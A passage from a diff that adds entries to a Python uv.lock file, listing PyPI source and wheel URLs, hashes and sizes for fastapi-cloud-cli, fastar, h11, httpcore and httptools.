"fastapi-cloud-cli" }, + { name = "uvicorn", extra = ["standard"] }, +] + +[[package]] +name = "fastapi-cloud-cli" +version = "0.17.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "fastar" }, + { name = "httpx" }, + { name = "pydantic", extra = ["email"] }, + { name = "rich-toolkit" }, + { name = "rignore" }, + { name = "sentry-sdk" }, + { name = "typer" }, + { name = "uvicorn", extra = ["standard"] }, +] +sdist = { url = "https://files.pythonhosted.org/packages/67/79/66567c39c5fab6dbebf9e40b3a3fcb0e2ec359517c87a67434c76b06e60b/fastapi_cloud_cli-0.17.0.tar.gz", hash = "sha256:2b6c241b63427023bd1e23b3251f23234aba4b05428b245a050e92db1389823c", size = 47276, upload-time = "2026-04-15T13:17:56.402Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/50/31/fa442466bacadffec3d6611509d6ea391b6ca01b6ee0d4af835bfdea3483/fastapi_cloud_cli-0.17.0-py3-none-any.whl", hash = "sha256:b496e6998f037f572ab06a233ce257828b4c701488ce500b5c9d725e970a7cb1", size = 33936, upload-time = "2026-04-15T13:17:55.112Z" }, +] + +[[package]] +name = "fastar" +version = "0.11.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/03/0f/0aeb3fc50046617702acc0078b277b58367fd62eb727b9ec733ae0e8bbcc/fastar-0.11.0.tar.gz", hash = "sha256:aa7f100f7313c03fdb20f1385927ba95671071ba308ad0c1763fef295e1895ce", size = 70238, upload-time = "2026-04-13T17:11:17.143Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/0f/06/a5773706afc8bd496769786590bbc56d2d0ee419a299cc12ea3f5717fcf3/fastar-0.11.0-cp312-cp312-macosx_10_12_x86_64.whl", hash = "sha256:3c51f1c2cdddbd1420d2897ace7738e36c65e17f6ae84e0bfe763f8d1068bb97", size = 708394, upload-time = "2026-04-13T17:09:57.269Z" }, + { url = "https://files.pythonhosted.org/packages/cc/a6/d5e2a4e48495616440a21eed07558219ca90243ad00b0502586f95bd4833/fastar-0.11.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:0d9d6b052baf5380baea866675dab6ccd04ec2460d12b1c46f10ce3f4ee6a820", size = 628417, upload-time = "2026-04-13T17:09:42.145Z" }, + { url = "https://files.pythonhosted.org/packages/ab/69/9816d69ac8265c9e50456637a487ccfb7a9c566efd9dbcd673df9c2558c2/fastar-0.11.0-cp312-cp312-manylinux_2_12_i686.manylinux2010_i686.whl", hash = "sha256:bd2f05666d4df7e14885b5c38fefd92a785917387513d33d837ff42ec143a22f", size = 863950, upload-time = "2026-04-13T17:09:11.506Z" }, + { url = "https://files.pythonhosted.org/packages/5b/0d/f88daad53aff2e754b6b5ff2a7113f72447a34f6ef17cc23ca99988117b7/fastar-0.11.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c1e6e74aba1ae77ca4aedcaf1697cd413319f4c88a5ccbe5b42c709517c5097e", size = 760737, upload-time = "2026-04-13T17:07:55.958Z" }, + { url = "https://files.pythonhosted.org/packages/2f/a6/82ef4ecd969d50d92ed3ed9dbd8fe77faa24be5e5736f716edc9f4ce8d62/fastar-0.11.0-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:38ef77fe940bbc9b37a98bd838727f844b11731cd39358a2640ff864fb385086", size = 757603, upload-time = "2026-04-13T17:08:10.623Z" }, + { url = "https://files.pythonhosted.org/packages/03/35/50249f0d827251f8ac511495e2eacccebda80a00a0ad73e9615b8113b84f/fastar-0.11.0-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:8955e61b32d6aff82c983217abf80933fd823b0e727586fc72f08043d996fd59", size = 923952, upload-time = "2026-04-13T17:08:25.526Z" }, + { url = "https://files.pythonhosted.org/packages/7b/d8/faee41659e9c379d906d24eaee6d6833ac8cfef0a5df480e5c2a8d3efb33/fastar-0.11.0-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:483532442cdb08fbff0169510224eae0836f2f672cea6aacb52847d90fefdc46", size = 816574, upload-time = "2026-04-13T17:08:56.076Z" }, + { url = "https://files.pythonhosted.org/packages/22/47/0448ea7992b997dad2bf004bfd98eca74b5858630eae080b50c7b17d9ddc/fastar-0.11.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ef5a6071121e05d8287fc75bccb054bcbac8bb0501200a0c0a8feeace5303ea4", size = 819382, upload-time = "2026-04-13T17:09:26.66Z" }, + { url = "https://files.pythonhosted.org/packages/33/ef/0d63eb43586831b7a6f8b22c4d77125a7c594423af1f4f090fa9541b9b40/fastar-0.11.0-cp312-cp312-manylinux_2_31_riscv64.whl", hash = "sha256:e45e598af5afe8412197d4786efd6cf29be02e7d3d4f6a3461149eae5d7e94f1", size = 885254, upload-time = "2026-04-13T17:08:40.9Z" }, + { url = "https://files.pythonhosted.org/packages/01/25/edd584675d69e49a165052c3ee886df1c5d574f3e7d813c990306387c623/fastar-0.11.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:2e160919b1c47ddb8538e7e8eb4cd527281b40f0bf75110a75993838ef61f286", size = 971239, upload-time = "2026-04-13T17:10:12.997Z" }, + { url = "https://files.pythonhosted.org/packages/a5/37/e8bb24f506ba2b08fbaf36c5800e843bd4d542954e9331f00418e2d23349/fastar-0.11.0-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:4bb4dc0fc8f7a6807febcebce8a2f3626ba4955a9263d81ecc630aad83be84c0", size = 1035185, upload-time = "2026-04-13T17:10:30.207Z" }, + { url = "https://files.pythonhosted.org/packages/9a/bf/be753736296338149ee4cb3e92e2b5423d6ba17c7b951d15218fd7e99bbf/fastar-0.11.0-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:4ec95af56aa173f6e320e1183001bf108ba59beaf13edd1fc8200648db203588", size = 1072191, upload-time = "2026-04-13T17:10:47.072Z" }, + { url = "https://files.pythonhosted.org/packages/d2/cd/a81c1aaafb5a22ce57c98ae22f39c89413ed53e4ee6e1b1444b0bd666a6c/fastar-0.11.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:136cf342735464091c39dc3708168f9fdeb9ebea40b1ead937c61afaf46143d9", size = 1028054, upload-time = "2026-04-13T17:11:04.293Z" }, + { url = "https://files.pythonhosted.org/packages/ec/88/1ce4eed3d70627c95f49ca017f6bbbf2ddcc4b0c601d293259de7689bc20/fastar-0.11.0-cp312-cp312-win32.whl", hash = "sha256:35f23c11b556cc4d3704587faacbc0037f7bdf6c4525cd1d09c70bda4b1c6809", size = 454198, upload-time = "2026-04-13T17:11:45.168Z" }, + { url = "https://files.pythonhosted.org/packages/8f/1d/26ce92f4331cd61a69840db9ca6115829805eec24f285481a854f578e917/fastar-0.11.0-cp312-cp312-win_amd64.whl", hash = "sha256:920bc56c3c0b8a8ca492904941d1883c1c947c858cd93343356c29122a38f44c", size = 486697, upload-time = "2026-04-13T17:11:31.084Z" }, + { url = "https://files.pythonhosted.org/packages/ed/96/e6eda4480559c69b05d466e7b5ea9170e81fef3795a73e059959a3258319/fastar-0.11.0-cp312-cp312-win_arm64.whl", hash = "sha256:395248faf89e8a6bd5dc1fd544c8465113b627cb6d7c8b296796b60ebea33593", size = 462591, upload-time = "2026-04-13T17:11:20.577Z" }, + { url = "https://files.pythonhosted.org/packages/c9/d6/3be260037e86fb694e88d47f583bac3a0188c99cee1a6b257ac26cb6b53c/fastar-0.11.0-cp313-cp313-macosx_10_12_x86_64.whl", hash = "sha256:33f544b08b4541b678e53749b4552a44720d96761fb79c172b005b1089c443ed", size = 707975, upload-time = "2026-04-13T17:09:58.866Z" }, + { url = "https://files.pythonhosted.org/packages/e1/cd/7867aefb1784662554a335f2952c75a50f0c70585ed0d2210d6cc15e5627/fastar-0.11.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:91c1c792447e4a642745f347ff9847c52af39633071c57ee67ed53c157fc3506", size = 628460, upload-time = "2026-04-13T17:09:43.776Z" }, + { url = "https://files.pythonhosted.org/packages/e5/2b/d11d84bdd5e0e377771b955755771e3460b290da5809cb78c1b735ee2228/fastar-0.11.0-cp313-cp313-manylinux_2_12_i686.manylinux2010_i686.whl", hash = "sha256:881247e6b6eaea59fc6569f9b61447aa6b9fc2ee864e048b4643d69c52745805", size = 863054, upload-time = "2026-04-13T17:09:13.048Z" }, + { url = "https://files.pythonhosted.org/packages/25/39/d3f428b318fa940b1b6e785b8d54fc895dfb5d5b945ef8d5442ffa904fb2/fastar-0.11.0-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:863b7929845c9fec92ef6c8d59579cf46af5136655e5342f8df5cebe46cab06c", size = 760247, upload-time = "2026-04-13T17:07:57.396Z" }, + { url = "https://files.pythonhosted.org/packages/9e/04/03949aee82aabb8ede06ac5a4a5579ffaf98a8fe59ce958494508ff15513/fastar-0.11.0-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:96b4a57df12bf3211662627a3ea29d62ecb314a2434a0d0843f9fc23e47536e5", size = 756512, upload-time = "2026-04-13T17:08:12.415Z" }, + { url = "https://files.pythonhosted.org/packages/3f/0c/2ca1ae0a3828ca51047962d932b80daca2522db73e8cb9d040cb6ebe28d5/fastar-0.11.0-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:ceef1c2c4df7b7b8ebd3f5d718bbf457b9bbdf25ce0bd07870211ec4fbd9aff4", size = 922183, upload-time = "2026-04-13T17:08:27.187Z" }, + { url = "https://files.pythonhosted.org/packages/65/68/7fe808b1f73a68e686f25434f538c6dc10ef4dfb3db0ace22cd861744bf8/fastar-0.11.0-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:b8e545918441910a779659d4759ad0eef349e935fbdb4668a666d3681567eb05", size = 816394, upload-time = "2026-04-13T17:08:57.657Z" }, + { url = "https://files.pythonhosted.org/packages/1f/17/07d086080f8a83b8d7966955e29bcdbd6a060f5bd949dc9d5abd3658cead/fastar-0.11.0-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:28095bb8f821e85fc2764e1a55f03e5e2876dee2abe7cd0ee9420d929905d643", size = 818983, upload-time = "2026-04-13T17:09:28.46Z" }, + { url = "https://files.pythonhosted.org/packages/fb/e2/2c4edf0910af2e814ff6d65b77a91196d472ca8a9fb2033bd983f6856caa/fastar-0.11.0-cp313-cp313-manylinux_2_31_riscv64.whl", hash = "sha256:0fafb95ecbe70f666a5e9b35dd63974ccdc9bb3d99ccdbd4014a823ec3e659b5", size = 884689, upload-time = "2026-04-13T17:08:42.763Z" }, + { url = "https://files.pythonhosted.org/packages/fa/ba/04fdcbd6558e60de4ced3b55230fac47675d181252582b2fcec3c74608e5/fastar-0.11.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:af48fed039b94016629dcdad1c95c90c486326dd068de2b0a4df419ee09b6821", size = 970677, upload-time = "2026-04-13T17:10:15.124Z" }, + { url = "https://files.pythonhosted.org/packages/df/b3/2b860a9658550167dbd5824c85e88d0b4b912bf493e42a6322544d6e483d/fastar-0.11.0-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:74cd96163f39b8638ab4e8d49708ca887959672a22871d8170d01f067319533b", size = 1034026, upload-time = "2026-04-13T17:10:32.318Z" }, + { url = "https://files.pythonhosted.org/packages/b7/9b/fa42ea1188b144bac4b1b60753dfd449974a4d5eda132029ee7711569f94/fastar-0.11.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:4e8b993cb5613bab495ed482810bedc0986633fcb9a3b55c37ec88e0d6714f6a", size = 1071147, upload-time = "2026-04-13T17:10:48.833Z" }, + { url = "https://files.pythonhosted.org/packages/95/c8/d2e501556dca9f1fbc9246111a31792fb49ad908fa4927f34938a97a3604/fastar-0.11.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:dfe39d91fc28e37e06162d94afe01050220edb7df554acb5b702b5503e564816", size = 1028377, upload-time = "2026-04-13T17:11:06.374Z" }, + { url = "https://files.pythonhosted.org/packages/db/33/5f11f23eca0a569cd052507bc45dda2e5468697f8665728d25be44120f7d/fastar-0.11.0-cp313-cp313-win32.whl", hash = "sha256:c5f63d4d99ff4bfb37c659982ec413358bdee747005348756cc50a04d412d989", size = 454089, upload-time = "2026-04-13T17:11:46.821Z" }, + { url = "https://files.pythonhosted.org/packages/da/2f/35ff03c939cba7a255a9132367873fec6c355fd06a7f84fedcbaf4c8129f/fastar-0.11.0-cp313-cp313-win_amd64.whl", hash = "sha256:8690ed1928d31ded3ada308e1086525fb3871f5fa81e1b69601a3f7774004583", size = 486312, upload-time = "2026-04-13T17:11:32.86Z" }, + { url = "https://files.pythonhosted.org/packages/ef/71/ee9246cbfcbfd4144558f35e7e9a306ffe0a7564730a5188c45f21d2dab8/fastar-0.11.0-cp313-cp313-win_arm64.whl", hash = "sha256:d977ded9d98a0719a305e0a4d5ee811f1d3e856d853a50acb8ae833c3cd6d5d2", size = 461975, upload-time = "2026-04-13T17:11:22.589Z" }, + { url = "https://files.pythonhosted.org/packages/7a/cd/3644c48ecac456f928c12d47ec3bed36c36555b17c3859856f1ff860265d/fastar-0.11.0-cp314-cp314-macosx_10_12_x86_64.whl", hash = "sha256:71375bd6f03c2a43eb47bd949ea38ff45434917f9cdac79675c5b9f60de4fa73", size = 707860, upload-time = "2026-04-13T17:10:00.371Z" }, + { url = "https://files.pythonhosted.org/packages/69/ca/dee04476ae3626b2b040a60ad84628f77e1ffd8444232f2426b0ca1e0d7e/fastar-0.11.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:eddfd9cab16e19ae247fe44bf992cb403ccfe27d3931d6de29a4695d95ad386c", size = 628216, upload-time = "2026-04-13T17:09:45.355Z" }, + { url = "https://files.pythonhosted.org/packages/dc/5e/9395c7353d079cb4f5be0f7982ce0dc9f2e7dec5fd175eef466729d6023a/fastar-0.11.0-cp314-cp314-manylinux_2_12_i686.manylinux2010_i686.whl", hash = "sha256:7c371f1d4386c699018bb64eb2fa785feacf32785559049d2bb72fe4af023f53", size = 864378, upload-time = "2026-04-13T17:09:14.611Z" }, + { url = "https://files.pythonhosted.org/packages/fa/ba/1e4f67148223ff219612b6281a6000357abbcc2417964fa5c83f11d68fce/fastar-0.11.0-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:cad7fa41e3e66554387481c1a09365e4638becd322904932674159d5f4046728", size = 760921, upload-time = "2026-04-13T17:07:59.138Z" }, + { url = "https://files.pythonhosted.org/packages/0f/82/09d11fb6d12f17993ffaf32ffd30c3c121a11e2966e84f19fb6f66430118/fastar-0.11.0-cp314-cp314-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:cf36652fa71b83761717c9899b98732498f8a2cb6327ff16bbf07f6be85c3437", size = 757012, upload-time = "2026-04-13T17:08:14.186Z" }, + { url = "https://files.pythonhosted.org/packages/52/1f/5aeeacc4cb65615e2c9292cd9c5b0cd6fb6d2e6ee472ca6adc6c1b1b22ef/fastar-0.11.0-cp314-cp314-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:f68ff8c17833053da4841720e95edde80ce45bb994b6b7d51418dddaac70ee47", size = 924510, upload-time = "2026-04-13T17:08:28.741Z" }, + { url = "https://files.pythonhosted.org/packages/bb/1a/1e5bdabbeaf2e856928956292609f2ff6a650f94480fb8afaca30229e483/fastar-0.11.0-cp314-cp314-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:4563ed37a12ea1cdc398af8571258d24b988bf342b7b3bf5451bd5891243280c", size = 816602, upload-time = "2026-04-13T17:08:59.461Z" }, + { url = "https://files.pythonhosted.org/packages/87/24/f960147910da3bed41a3adfcb026e17d5f50f4cf467a3324237a7088f61a/fastar-0.11.0-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:cee63c9875cba3b70dc44338c560facc5d6e763047dcc4a30501f9a68cf5f890", size = 819452, upload-time = "2026-04-13T17:09:29.926Z" }, + { url = "https://files.pythonhosted.org/packages/cc/f4/3e77d7901d5707fd7f8a352e153c8ae09ea974e6fabad0b7c4eb9944b8d4/fastar-0.11.0-cp314-cp314-manylinux_2_31_riscv64.whl", hash = "sha256:bd76bfffae6d0a91f4ac4a612f721e7aec108db97dccdd120ae063cd66959f27", size = 885254, upload-time = "2026-04-13T17:08:44.285Z" }, + { url = "https://files.pythonhosted.org/packages/47/01/1585edd5ec47782ae93cd94edf05828e0ab02ef00aec00aea4194a600464/fastar-0.11.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:8f5b707501ec01c1bc0518f741f01d322e50c9adc19a451aa24f67a2316e9397", size = 971496, upload-time = "2026-04-13T17:10:17.024Z" }, + { url = "https://files.pythonhosted.org/packages/f1/e9/6874c9d1236ded565a0bed54b320ac9f165f287b1d89490fb70f9f323c81/fastar-0.11.0-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:37c0b5a88a657839aad98b0a6c9e4ac4c2c15d6b49c44ee3935c6b08e9d3e479", size = 1034685, upload-time = "2026-04-13T17:10:34.063Z" }, + { url = "https://files.pythonhosted.org/packages/14/d8/4ab20613ce2983427aee958e39be878dba874aa227c530a845e32429c4f6/fastar-0.11.0-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:6c55f536c62a6efb180c1af0d5182948bff576bbfe6276e8e1359c9c7d2215d8", size = 1072675, upload-time = "2026-04-13T17:10:50.53Z" }, + { url = "https://files.pythonhosted.org/packages/1f/ae/5ac3b7c20ce4b08f011dd2b979f96caabe64f9b10b157f211ea91bdfadca/fastar-0.11.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:3082eeca59e189b9039335862f4c2780c0c8871d656bfdf559db4414a105b251", size = 1029330, upload-time = "2026-04-13T17:11:08.138Z" }, + { url = "https://files.pythonhosted.org/packages/8a/e7/37cd6a1d4e288292170b64e19d79ecce2a7de8bb76790323399a2abc4619/fastar-0.11.0-cp314-cp314-win32.whl", hash = "sha256:b201a0a4e29f9fec2a177e13154b8725ec65ab9f83bd6415483efaa2aa18344b", size = 453940, upload-time = "2026-04-13T17:11:48.713Z" }, + { url = "https://files.pythonhosted.org/packages/ff/1c/795c878b1ee29d79021cf8ed81f18f2b25ccde58453b0d34b9bdc7e025ea/fastar-0.11.0-cp314-cp314-win_amd64.whl", hash = "sha256:868fddb26072a43e870a8819134b9f80ee602931be5a76e6fb873e04da343637", size = 486334, upload-time = "2026-04-13T17:11:34.882Z" }, + { url = "https://files.pythonhosted.org/packages/ff/a4/113f104301df8bddcc0b3775b611a30cb7610baa3add933c7ccac9386467/fastar-0.11.0-cp314-cp314-win_arm64.whl", hash = "sha256:3db39c9cc42abb0c780a26b299f24dfbc8be455985e969e15336d70d7b2f833b", size = 461534, upload-time = "2026-04-13T17:11:24.329Z" }, + { url = "https://files.pythonhosted.org/packages/5a/a6/5c5f2c2c8e0c63e56a5636ebc7721589c889e94c0092cec7eb28ae7207e6/fastar-0.11.0-cp314-cp314t-macosx_10_12_x86_64.whl", hash = "sha256:49c3299dec5e125e7ebaa27545714da9c7391777366015427e0ae62d548b442b", size = 707156, upload-time = "2026-04-13T17:10:02.176Z" }, + { url = "https://files.pythonhosted.org/packages/df/f7/982c01b61f0fc135ad2b16d01e6d0ee53cf8791e68827f5f7c5a65b2e5b1/fastar-0.11.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:3328ed1ed56d31f5198350b17dd60449b8d6b9d47abb4688bab6aef4450a165b", size = 627032, upload-time = "2026-04-13T17:09:46.978Z" }, + { url = "https://files.pythonhosted.org/packages/2b/c3/38f1dac77ae0c71c37b176277c96d830796b8ce2fe69705f917829b53829/fastar-0.11.0-cp314-cp314t-manylinux_2_12_i686.manylinux2010_i686.whl", hash = "sha256:bd3eca3bbfec84a614bcb4143b4ad4f784d0895babc26cfc88436af88ca23c7a", size = 864403, upload-time = "2026-04-13T17:09:16.58Z" }, + { url = "https://files.pythonhosted.org/packages/6e/f0/e69c363bdb3e5a5848e937b662b5469581ee6682c51bc1c0556494773929/fastar-0.11.0-cp314-cp314t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ff86a967acb0d621dd24063dda090daa67bf4993b9570e97fe156de88a9006ca", size = 759480, upload-time = "2026-04-13T17:08:00.599Z" }, + { url = "https://files.pythonhosted.org/packages/3b/29/4d8737590c2a6357d614d7cc7288e8f68e7e449680b8922997cc4349e65e/fastar-0.11.0-cp314-cp314t-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:86eaf7c0e985d93a7734168be2fb232b2a8cca53e41431c2782d7c12b12c03b1", size = 756219, upload-time = "2026-04-13T17:08:15.699Z" }, + { url = "https://files.pythonhosted.org/packages/bb/ec/400de7b3b7d48801908f19cf5462177104395799472671b3e8152b2b04ca/fastar-0.11.0-cp314-cp314t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:91f07b0b8eb67e2f177733a1f884edad7dfb9f8977ffef15927b20cb9604027d", size = 923669, upload-time = "2026-04-13T17:08:30.574Z" }, + { url = "https://files.pythonhosted.org/packages/5d/01/8926c53da923fed7ab4b96e7fbf7f73b663beb4f02095b654d6fab46f9ad/fastar-0.11.0-cp314-cp314t-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:f85c896885eb4abf1a635d54dea22cac6ae48d04fc2ea26ae652fcf1febe1220", size = 815729, upload-time = "2026-04-13T17:09:01.204Z" }, + { url = "https://files.pythonhosted.org/packages/89/f0/5fef4c7946e352651b504b1a4235dac3505e7cfd24020788ab50552e84bf/fastar-0.11.0-cp314-cp314t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:075c07095c8de4b774ba8f28b9c0a02b1a2cd254da50cbe464dd3bb2432e9158", size = 819812, upload-time = "2026-04-13T17:09:31.907Z" }, + { url = "https://files.pythonhosted.org/packages/b3/c8/0ebc3298b4a45e7bddc50b169ae6a6f5b80c939394d4befe6e60de535ee7/fastar-0.11.0-cp314-cp314t-manylinux_2_31_riscv64.whl", hash = "sha256:07f028933820c65750baf3383b807ecce1cd9385cf00ce192b79d263ad6b856c", size = 884074, upload-time = "2026-04-13T17:08:45.802Z" }, + { url = "https://files.pythonhosted.org/packages/ae/9f/7baa4cdff8d6fbca41fa5c764b48a941fed8a9ec6c4cc92de65895a28299/fastar-0.11.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:039f875efa0f01fa43c20bf4e2fc7305489c61d0ac76eda991acfba7820a0e63", size = 969450, upload-time = "2026-04-13T17:10:18.667Z" }, + { url = "https://files.pythonhosted.org/packages/d4/dc/1ebbfb58a47056ba866494f19efbcdd2ba2897096b94f36e796594b4d05b/fastar-0.11.0-cp314-cp314t-musllinux_1_2_armv7l.whl", hash = "sha256:fff12452a9a5c6814a012445f26365541cc3d99dcca61f09762e6a389f7a32ea", size = 1033775, upload-time = "2026-04-13T17:10:36.165Z" }, + { url = "https://files.pythonhosted.org/packages/c2/5f/ce4e3914066f08c99eb8c32952cc07c1a013e81b1db1b0f598130bf6b974/fastar-0.11.0-cp314-cp314t-musllinux_1_2_i686.whl", hash = "sha256:2bf733e09f942b6fa876efe30a90508d1f4caef5630c00fb2a84fba355873712", size = 1072158, upload-time = "2026-04-13T17:10:52.497Z" }, + { url = "https://files.pythonhosted.org/packages/03/2a/6bca72992c84151c387cc6558f3867f5ebe5fb3684ee6fa9b76280ba4b8e/fastar-0.11.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:d1531fa848fdd3677d2dce0a4b436ea64d9ae38fb8babe2ddbc180dd153cb7a3", size = 1028577, upload-time = "2026-04-13T17:11:09.934Z" }, + { url = "https://files.pythonhosted.org/packages/83/18/7a7c15657a3da5569b26fc51cde6a80f8d84cb54b3b1aea6d74a103db4ad/fastar-0.11.0-cp314-cp314t-win32.whl", hash = "sha256:5744551bc67c6fc6581cbd0e34a0fd6e2cd0bd30b43e94b1c3119cf35064b162", size = 453601, upload-time = "2026-04-13T17:11:53.726Z" }, + { url = "https://files.pythonhosted.org/packages/6d/d8/331b59a6de279f3ad75c10c02c40a12f21d64a437d9c3d6f1af2dcbd7a76/fastar-0.11.0-cp314-cp314t-win_amd64.whl", hash = "sha256:f4ce44e3b56c47cf38244b98d29f269b259740a580c47a2552efa5b96a5458fb", size = 486436, upload-time = "2026-04-13T17:11:40.089Z" }, + { url = "https://files.pythonhosted.org/packages/6b/fd/5390ec4f49100f3ecb9968a392f9e6d039f1e3fe0ecd28443716ff01e589/fastar-0.11.0-cp314-cp314t-win_arm64.whl", hash = "sha256:76c1359314355eafbc6989f20fb1ad565a3d10200117923b9da765a17e2f6f11", size = 461049, upload-time = "2026-04-13T17:11:25.918Z" }, +] + +[[package]] +name = "h11" +version = "0.16.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/01/ee/02a2c011bdab74c6fb3c75474d40b3052059d95df7e73351460c8588d963/h11-0.16.0.tar.gz", hash = "sha256:4e35b956cf45792e4caa5885e69fba00bdbc6ffafbfa020300e549b208ee5ff1", size = 101250, upload-time = "2025-04-24T03:35:25.427Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/04/4b/29cac41a4d98d144bf5f6d33995617b185d14b22401f75ca86f384e87ff1/h11-0.16.0-py3-none-any.whl", hash = "sha256:63cf8bbe7522de3bf65932fda1d9c2772064ffb3dae62d55932da54b31cb6c86", size = 37515, upload-time = "2025-04-24T03:35:24.344Z" }, +] + +[[package]] +name = "httpcore" +version = "1.0.9" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "certifi" }, + { name = "h11" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/06/94/82699a10bca87a5556c9c59b5963f2d039dbd239f25bc2a63907a05a14cb/httpcore-1.0.9.tar.gz", hash = "sha256:6e34463af53fd2ab5d807f399a9b45ea31c3dfa2276f15a2c3f00afff6e176e8", size = 85484, upload-time = "2025-04-24T22:06:22.219Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/7e/f5/f66802a942d491edb555dd61e3a9961140fd64c90bce1eafd741609d334d/httpcore-1.0.9-py3-none-any.whl", hash = "sha256:2d400746a40668fc9dec9810239072b40b4484b640a8c38fd654a024c7a1bf55", size = 78784, upload-time = "2025-04-24T22:06:20.566Z" }, +] + +[[package]] +name = "httptools" +version = "0.7.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/b5/46/120a669232c7bdedb9d52d4aeae7e6c7dfe151e99dc70802e2fc7a5e1993/httptools-0.7.1.tar.gz", hash = "sha256:abd72556974f8e7c74a259655924a717a2365b236c882c3f6f8a45fe94703ac9", size = 258961, upload-time = "2025-10-10T03:55:08.559Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/53/7f/403e5d787dc4942316e515e949b0c8a013d84078a915910e9f391ba9b3ed/httptools-0.7.1-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:38e0c83a2ea9746ebbd643bdfb521b9aa4a91703e2cd705c20443405d2fd16a5", size = 206280, upload-time = "2025-10-10T03:54:39.274Z" }, + { url = "https://files.pythonhosted.org/packages/2a/0d/7f3fd28e2ce311ccc998c388dd1c53b18120fda3b70ebb022b135dc9839b/httptools-0.7.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:f25bbaf1235e27704f1a7b86cd3304eabc04f569c828101d94a0e605ef7205a5", size = 110004, upload-time = "2025-10-10T03:54:40.403Z" }, + { url = "https://files.pythonhosted.org/packages/84/a6/b3965e1e146ef5762870bbe76117876ceba51a201e18cc31f5703e454596/httptools-0.7.1-cp312-cp312-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:2c15f37ef679ab9ecc06bfc4e6e8628c32a8e4b305459de7cf6785acd57e4d03", size = 517655, upload-time = "2025-10-10T03:54:41.347Z" }, + { url = "https://files.pythonhosted.org/packages/11/7d/71fee6f1844e6fa378f2eddde6c3e41ce3a1fb4b2d81118dd544e3441ec0/httptools-0.7.1-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:7fe6e96090df46b36ccfaf746f03034e5ab723162bc51b0a4cf58305324036f2", size = 511440, upload-time = "2025-10-10T03:54:42.452Z" }, + { url = "https://files.pythonhosted.org/packages/22/a5/079d216712a4f3ffa24af4a0381b108aa9c45b7a5cc6eb141f81726b1823/httptools-0.7.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:f72fdbae2dbc6e68b8239defb48e6a5937b12218e6ffc2c7846cc37befa84362", size = 495186, upload-time = "2025-10-10T03:54:43.937Z" }, + { url = "https://files.pythonhosted.org/packages/e9/9e/025ad7b65278745dee3bd0ebf9314934c4592560878308a6121f7f812084/httptools-0.7.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:e99c7b90a29fd82fea9ef57943d501a16f3404d7b9ee81799d41639bdaae412c", size = 499192, upload-time = "2025-10-10T03:54:45.003Z" }, + { url = "https://files.pythonhosted.org/packages/6d/de/40a8f202b987d43afc4d54689600ff03ce65680ede2f31df348d7f368b8f/httptools-0.7.1-cp312-cp312-win_amd64.whl", hash = "sha256:3e14f530fefa7499334a79b0cf7e7cd2992870eb893526fb097d51b4f2d0f321", size = 86694, upload-time = 